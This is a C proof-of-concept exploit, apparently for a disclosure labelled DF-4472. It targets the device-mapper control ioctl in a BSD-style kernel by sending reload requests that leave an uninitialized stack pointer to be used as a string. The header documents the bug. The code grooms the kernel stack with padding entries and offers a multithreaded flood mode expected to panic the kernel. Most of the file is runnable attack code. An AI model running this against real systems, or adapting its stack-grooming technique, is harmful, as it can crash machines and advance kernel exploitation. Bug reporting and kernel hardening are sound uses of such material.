/*
 * DF-4472 PoC -- dm_table_load_ioctl uses UNINITIALIZED stack pointer `type'
 * as a C string when a table-entry dictionary omits the "type" key.
 *
 * Bug (sys/dev/disk/dm/dm_ioctl.c):
 *   673: dm_table_load_ioctl(prop_dictionary_t dm_dict)
 *   684:     const char *name, *uuid, *type;      <-- `type' declared
 *   690-695:  name = NULL; uuid = NULL; dmv = NULL; str = NULL;
 *            (type is NEVER initialized)
 *   707:     cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA);
 *   708:     iter = prop_array_iterator(cmd_array);
 *   730:     while ((target_dict = prop_object_iterator_next(iter)) != NULL) {
 *   731:         prop_dictionary_get_cstring_nocopy(target_dict,
 *   732:             DM_TABLE_TYPE, &type);         <-- return value ignored
 *
 * prop_dictionary_get_cstring_nocopy() (sys/libprop/prop_dictionary_util.c:185)
 * returns false WITHOUT touching *cpp when the key is absent, the element is
 * not a dictionary, or the value is not a string.  On the first loop
 * iteration `type' therefore holds whatever the previous users of this
 * kernel stack left behind, and it is then dereferenced as a string:
 *
 *   737:     if (((target = dm_target_lookup(type)) == NULL && ...
 *   --> dm_target_lookup_name() does strcmp(dm_target_name, ...) on the
 *       garbage pointer (sys/dev/disk/dm/dm_target.c:127), and if that fails
 *       dm_target_autoload() does ksnprintf("dm_target_%s", type)
 *       (sys/dev/disk/dm/dm_target.c:74) -- both wild reads.
 *
 * Demonstrable outcomes (any of these reproduces the uninitialized use):
 *   (1) PANIC: garbage is an unmapped address -> kernel page fault.
 *   (2) STALE-MATCH: garbage aliases memory holding a valid target name
 *       (e.g. the freed prop string of a previous reload) -> the table LOADS
 *       successfully even though the dictionary never named a target type.
 *   (3) PROOF-BY-DESTRUCTION: reload #1 loads a 1-entry inactive table;
 *       malformed reload #2 returns ENOENT AND the inactive table is now
 *       EMPTY.  dm_ioctl.c has exactly one ENOENT return after the
 *       dm_table_destroy at :722-723 -- the lookup failure at :741 -- so
 *       this combination proves dm_target_lookup(garbage) executed.
 *
 * Privilege note: /dev/mapper/control is 0640 root:operator
 * (sys/dev/disk/dm/device-mapper.c:181).  Run as root (or operator).
 *
 * Build: cc -o dm_uninit_type dm_uninit_type.c -lprop
 * Run:   ./dm_uninit_type            (default: groom + proof rounds)
 *        ./dm_uninit_type --flood N  (N threads hammering malformed reloads)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df4472dev"
#ifndef DM_QUERY_INACTIVE_TABLE_FLAG
#define DM_QUERY_INACTIVE_TABLE_FLAG (1 << 12)
#endif
#define DM_STATUS_TABLE_FLAG_ (1 << 4)

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	if (dict == NULL)
		exit(1);

	/* dm_check_version: major==4, minor<=16 */
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);

	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
create_dev(int fd)
{
	prop_dictionary_t dict = new_dm_dict("create");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/* Build one reload request.  with_type==0 omits DM_TABLE_TYPE entirely. */
static int
do_reload(int fd, int with_type, const char *typeval, const char *params,
    int npad)
{
	prop_dictionary_t dict = new_dm_dict("reload");
	prop_array_t arr;
	prop_dictionary_t ent;
	int i, rv;

	arr = prop_array_create();
	ent = prop_dictionary_create();
	if (with_type)
		prop_dictionary_set_cstring(ent, DM_TABLE_TYPE, typeval);
	prop_dictionary_set_uint64(ent, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(ent, DM_TABLE_LENGTH, 1);
	prop_dictionary_set_cstring(ent, DM_TABLE_PARAMS, params);
	prop_array_add(arr, ent);
	prop_object_release(ent);

	/*
	 * Padding entries with big strings: the internalize machinery of this
	 * very ioctl chews through the kernel stack region that will later
	 * hold dm_table_load_ioctl's frame -- planting "arbitrary" values in
	 * the slot occupied by `type'.
	 */
	for (i = 0; i < npad; i++) {
		prop_dictionary_t pad = prop_dictionary_create();
		prop_dictionary_set_cstring(pad, "pad",
		    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
		prop_array_add(arr, pad);
		prop_object_release(pad);
	}

	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, arr);
	prop_object_release(arr);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/* Query the INACTIVE table ("table" + DM_QUERY_INACTIVE_TABLE_FLAG). */
static int
query_inactive(int fd, int *nentries)
{
	prop_dictionary_t dict = new_dm_dict("table");
	prop_array_t arr;
	uint32_t flags = DM_QUERY_INACTIVE_TABLE_FLAG | DM_STATUS_TABLE_FLAG_;
	int rv, n = -1;

	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, flags);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = prop_dictionary_sendrecv_ioctl(dict, fd, NETBSD_DM_IOCTL, &dict);
	if (rv == 0 && dict != NULL) {
		arr = prop_dictionary_get(dict, DM_IOCTL_CMD_DATA);
		if (arr != NULL && prop_object_type(arr) == PROP_TYPE_ARRAY)
			n = (int)prop_array_count(arr);
		prop_object_release(dict);
	}
	if (nentries)
		*nentries = n;
	return rv;
}

static void
groom_mode(int rounds)
{
	int fd, i, rv1, rv2, ne = -1, stale_hits = 0, proof_hits = 0;

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
		exit(1);
	}
	rv1 = create_dev(fd);
	printf("[*] create '%s': rv=%d (%s)\n", DEV_NAME, rv1,
	    rv1 ? strerror(rv1) : "ok");

	for (i = 0; i < rounds; i++) {
		/* valid reload: type present */
		rv1 = do_reload(fd, 1, "zero", "zero zero zero zero", 0);
		if (i < 5 || (rv1 != 0 && (i % 25) == 0)) {
			int pre = -1;
			query_inactive(fd, &pre);
			printf("    round %d: reload#1 rv=%d, inactive entries"
			    "=%d%s\n", i, rv1, pre,
			    (rv1 == 0 && pre >= 1) ? " (loaded)" :
			    "  <== WARNING: reload#1 did not load!");
		}
		/* malformed reload: NO type key at all */
		rv2 = do_reload(fd, 0, NULL, "zero zero zero zero", 16);

		if (rv2 == 0) {
			/* stale garbage MATCHED a target name: table loaded */
			query_inactive(fd, &ne);
			printf("[!] round %d: typeless reload returned 0; "
			    "inactive entries=%d  <== STALE UNINIT TYPE USED\n",
			    i, ne);
			stale_hits++;
		} else if (rv2 == ENOENT) {
			/*
			 * Distinguish ENOENT@741 (wild lookup executed, table
			 * destroyed) from ENOENT@713 (device missing): check
			 * that reload#1's table got wiped by reload#2.
			 */
			query_inactive(fd, &ne);
			if (ne == 0)
				proof_hits++;
		}
		if ((i % 25) == 24)
			printf("    ... %d/%d rounds (stale-match=%d "
			    "destroy-proof=%d) last rv2=%d\n", i + 1, rounds,
			    stale_hits, proof_hits, rv2);
	}
	printf("[*] groom done: rounds=%d stale-match=%d destroy-proof=%d\n",
	    rounds, stale_hits, proof_hits);
	close(fd);
}

struct flood_arg {
	int id;
	int rounds;
};

static void *
flood_thread(void *v)
{
	struct flood_arg *fa = v;
	int fd, i, rv = -1;

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0)
		return (NULL);
	for (i = 0; i < fa->rounds; i++)
		rv = do_reload(fd, 0, NULL, "zero zero zero zero", 4 + (i % 8));
	fprintf(stderr, "[t%d] done rv=%d (%s)\n", fa->id, rv,
	    rv ? strerror(rv) : "0");
	close(fd);
	return (NULL);
}

static void
flood_mode(int nthreads, int rounds)
{
	pthread_t th[64];
	struct flood_arg fa[64];
	int i;

	printf("[*] flood: %d threads x %d malformed reloads -- "
	    "expect possible panic (wild strcmp)\n", nthreads, rounds);
	for (i = 0; i < nthreads; i++) {
		fa[i].id = i;
		fa[i].rounds = rounds;
		pthread_create(&th[i], NULL, flood_thread, &fa[i]);
	}
	for (i = 0; i < nthreads; i++)
		pthread_join(th[i], NULL);
	printf("[*] flood finished without panic\n");
}

int
main(int argc, char **argv)
{
	if (argc > 2 && strcmp(argv[1], "--flood") == 0)
		flood_mode(atoi(argv[2]), argc > 3 ? atoi(argv[3]) : 500);
	else
		groom_mode(argc > 1 ? atoi(argv[1]) : 200);
	return 0;
}
